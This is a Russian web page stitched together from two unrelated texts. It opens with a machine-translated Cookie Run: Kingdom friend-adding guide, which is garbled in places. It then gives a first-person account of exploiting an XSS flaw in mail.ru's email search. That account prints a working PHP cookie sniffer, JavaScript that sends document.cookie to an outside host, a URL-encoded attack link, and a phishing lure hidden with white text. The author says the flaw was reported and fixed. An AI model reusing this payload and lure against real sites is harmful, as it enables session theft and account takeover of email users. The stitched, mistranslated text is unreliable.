Как найти куки друга

Cookie Run: Kingdom — это экшн-ролевая игра, в которой игрок начинает игру в роли главного героя, Ginger Brave Cookie. В игре есть групповая система, которая формирует группу файлов cookie, которые игроки могут разблокировать на протяжении всей игры.

В игре можно разблокировать более 250 файлов cookie, играя в режиме кампании (сюжет) или используя Гача, где за розыгрыш стоит 300 кристаллов. В игре представлены файлы cookie четырех видов: Обычное, Редкое, Эпическое и Древнее.

Cookie Run: Kingdom недавно стала популярной, ее скачали более 10 миллионов раз в магазине Google Play. В этой статье мы дадим вам пошаговое руководство по добавлению друзей в игру.

Cookie Run: Kingdom — Как добавить друзей

1 ) Щелкните значок вкладки «Социальные сети» в правом верхнем углу экрана.

2) Нажмите кнопку «Друзья» на вкладке социальных сетей.

3) Нажмите на опцию «Добавить» на вкладке «Друзья», и на экране появится список людей, играющих в игру.

4) Вы можете искать своего друга по его идентификатору или добавлять в игру случайных людей, отправив им запрос. Вы также можете проверить запросы на добавление в друзья на этой вкладке. Подружившись с ними, вы сможете вызывать их на битвы, посещать их королевство и отправлять им подарки.

Есть два типа подарков:

• Бесплатный подарок
• Необычный подарок

Гайд по кодам Cookie Run Kingdom Как разблокировать Тропические содовые острова в Cookie Run Kingdom Как загрузить Cookie Run: Kingdom на ПК Вы можете отправить своему другу бесплатный подарок, который дает им монеты или тратит кристаллы, чтобы купить своему другу необычный подарок. Необычные подарки сделают вашего друга престижным. В целом, добавление друзей в Cookie Run: Kingdom никоим образом не меняет ваш основной режим истории, но улучшает онлайн-игровой процесс, поскольку вы можете соревноваться со своими друзьями, посещать их королевства и участвовать в PvP.

Царство запуска печенья является одной из самых популярных ролевых игр в мире из-за того, насколько она интересна и увлекательна, потому что в этой игре вы можете создать свой собственный город и брать свои печеньки в сражения, чтобы получить ценные награды. Создание собственного королевства и наблюдение за его развитием станет действительно захватывающим приключением, ради которого стоит сыграть в эту замечательную игру.

В этой игре мы можем добавь в друзья чтобы иметь возможность делать разные вещи, в том числе получать и отправлять подарки, сообщения и многое другое. Если вы еще не умеете это делать и хотите добавить друзей в Царство запуска печенья Не прекращайте читать эту статью, где мы расскажем вам все, что вам нужно знать, чтобы уметь добавить в друзья.

Добавляйте друзей в Cookie Run Kingdom, как и в любой другой игре, позволит нам получать больше удовольствия во время игр, поскольку гораздо интереснее делиться с друзьями или знакомыми, чем играть в одиночку, хотя иногда играть в одиночку тоже может быть весело. За добавить друзей в Cookie Run Kingdom Вам нужно будет только выполнить шаги, которыми мы поделимся с вами ниже:

1. Войти в Королевство печенья.
2. нажми на кнопку 3 человека расположен на главном экране.
3. Выберите вкладку «друзья».
4. дать «Добавлять».
5. Введите конкретное имя вашего друга или найдите его в случайном списке, который появится.
6. Подождите, пока ваш друг примет запрос и вуаля, он станет другом через Королевство печенья.

Добавить друзей в Царство запуска печенья Это действительно просто, и вы сможете сделать это за очень короткое время, следуя совету, который мы дали вам сегодня, хотя количество пользователей, которые сегодня не знают, как это сделать, может вас удивить. Добавление друзей в эту игру позволит вам отправляйте вещи своим друзьям, личные сообщения, бросайте вызов своим друзьям, посещайте их королевство, отправляйте подарки, такие как бесплатные монеты.

Если вы хотите в полной мере насладиться этой игрой, а также иметь возможность получать различные награды и преимущества, добавить друзей в Cookie Run Kingdom Это важно для вас, чтобы достичь этого. Многие игроки ждут некоторое время, чтобы начать добавлять друзей, но правда в том, что чем меньше времени вы ждете, тем лучше.

Как играть с друзьями в Cookie Run Kingdom?

Чтобы играть с друзьями, вы должны предварительно добавить их и выбрать режим игры, в котором можно играть с компаньонами, в этом случае вы можете пригласить их присоединиться к вашей игре, а затем вам придется ждать, пока они примут ваше приглашение в игру. .

Это все, что вам нужно знать о Как добавить друзей в Cookie Run Kingdom. Если вам понравилась эта заметка, помните, что в любой момент вы можете просмотреть все остальные Путеводители по королевству Cookie Run которые у нас есть для вас на нашем веб-сайте.

Время на прочтение
4 мин

Количество просмотров 92K

Не так давно прочитал на Хабре пост, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа XSS. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…

На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:

Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS of F Y h:i:s A');
$text .= "n".str_repeat("=", 22) . "n" . $_GET['cookie']."n".str_repeat("=", 22)."n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

img=new Image();
img.src='http://sitename.ru/sniff.php?cookie='+document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);

Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:

Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

Ссылку для поиска использовал следующую:

e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.

Так же хотелось бы выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.